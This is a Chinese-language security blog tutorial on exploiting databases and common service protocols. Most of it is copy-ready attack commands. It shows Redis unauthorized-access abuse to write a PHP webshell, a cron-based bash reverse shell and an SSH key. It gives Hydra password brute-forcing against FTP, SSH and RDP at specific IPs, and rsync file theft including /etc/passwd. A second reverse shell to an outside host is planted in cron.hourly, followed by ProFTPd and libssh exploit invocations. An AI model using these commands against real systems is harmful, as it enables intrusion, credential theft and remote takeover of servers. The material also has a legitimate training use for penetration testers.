漏洞原理---数据库安全和常见应用服务协议

数据库安全

一、如何引发数据库服务的安全问题

  1. 配置不当—未授权访问
  2. 自身软件设计上存在缺陷—特定安全漏洞
  3. 有些服务使用口令验证进行操作,由于用户疏忽没有及时更改相关口令或设置的口令过于简单—弱口令爆破

二、测试大致思路

  • 1、判断服务是否开放
    • 端口扫描
    • 组合猜测
    • 信息来源
  • 2、通过上一步进行端口信息判断服务类型
    • 数据库
    • 文件传输
    • 远程控制
    • 数据通讯
  • 3、判断利用方式
    • 特性漏洞
    • 未授权访问
    • 弱口令爆破

三、常见数据库当中漏洞

MySQL未授权访问CVE-2012-2122
Hadoop未授权访问-内置配合命令执行RCE
  • Hadoop端口信息:50010
Redis未授权访问-WEBShell&任务&密匙&RCE等
  • 默认端口:6379

  • 未授权访问的条件

    • bind 127.0.0.1注释符开启则表示只能本地进行访问,如果被注释则可以通过外网访问
    • protected-mode no 安全模式选项为关闭
    • 没有设置密码# requirepass foobared
  • 写WEBshell条件

    • 需要知道web路径
    • web目录权限可读写
    1
    2
    3
    4
    5
    config set dir /tmp           # 设置WEB写入目录
    config set dbfilename 1.php # 设置写入文件名
    set test"<?php phpinfo();?>" # 设置写入文件内容
    bgsave # 保存执行
    save # 保存执行
  • 写定时任务反弹shell

    • 允许异地登录
    • protected-mode no 安全模式选项为关闭
1
2
3
4
5
6
config set dir /var/spool/cron  # 记时目录路径
set yy "\n\n\n*****bash -i>& /dev/tcp/1.1.1.1/5555 0>&1\n\n\n" # 写入任务代码
config set dbfilename x # 写入文件名
save # 保存
注意:
centos会忽略乱码去执行正确的任务计划,而ubuntu并不会忽略这些乱码,所以导致命令执行失败。
  • 写入Linux ssh-key公匙
    • 允许异地登录
    • 使用root账户启动
    • protected-mode no 安全模式选项为关闭
    • 允许使用密钥登录,远程写入一个密钥,直接远程登录
1
2
3
4
5
6
7
8
ssh-keygen -t rsa # 在攻击机上生成一个密钥
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub;echo -e "\n\n") > key.txt # 进入.ssh目录,将密钥写入一个文件中,这里\n是换行符,如果没有这个换行符,redis信息就和ssh公钥的信息拼接到一起了,自然也就无法识别
cat key.txt | redis-cli -h 1.1.1.1 -x set xxx
config set dbfilename authorized_keys
save
cd /root/.ssh/
ssh -i -id_rsa root@1.1.1.1

常见应用服务协议

一、口令猜解-Hydra-FTP&RDP&SSH

  • https://github.com/vanhauser-thc/thc-hydra

  • hydra是一个自动化的爆破工具,暴力破解弱密码,是一个支持众多协议的爆破工具,已经集成到KaliLinux中,直接在终端打开即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。
server 目标ip

service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。

例子:
FTP:文件传输协议
RDP:Windows远程桌面协议
SSH:Linux安全外壳协议

hydra -L test -P 10top1K.txt 47.110.53.159 ftp -V
hydra -l root -P 10top1K.txt 47.110.53.159 ssh -V
hydra -l administrator -P 10top1K.txt 47.110.53.159 rdp -V

二、配置不当-未授权访问-Rsync文件备份

  • rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。

  • 判断:rsync rsync://目标IP:端口号/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
利用:
-读取文件:rsync rsync://123.58.236.76:45854/src/
-下载文件:rsync rsync://123.58.236.76:45854/src/etc/passwd ./
-上传文件:rsync -av passwd rsync://123.58.236.76:45854/src/tmp/passwd

反弹shell:
1、获取信息:
rsync rsync://123.58.236.76:12177/src/etc/crontab /root/cron.txt

2.创建文件
touch shell
#!/bin/bash
/bin/bash -i >& /dev/tcp/47.94.236.117/5566 0>&1
chmod +x shell

3、上传文件
rsync -av shell rsync://123.58.236.76:12177/src/etc/cron.hourly

4、等待接受反弹

三、协议漏洞-应用软件-FTP&Proftpd搭建

1
python exploit.py --host 123.58.236.76 --port 24967 --path "/var/www/html/"

四、协议漏洞-应用软件-SSH&libssh&Openssh

1
2
3
pip3 install -r requirements.txt
pip3 install paramiko==2.4.1
python sshUsernameEnumExploit.py --port 32013 --userList exampleInput.txt 123.58.236.76

漏洞原理---数据库安全和常见应用服务协议
https://rofgd.github.io/2022/06/14/漏洞原理---数据库安全和常见应用服务协议/
作者
ReadPond
发布于
2022年6月14日
许可协议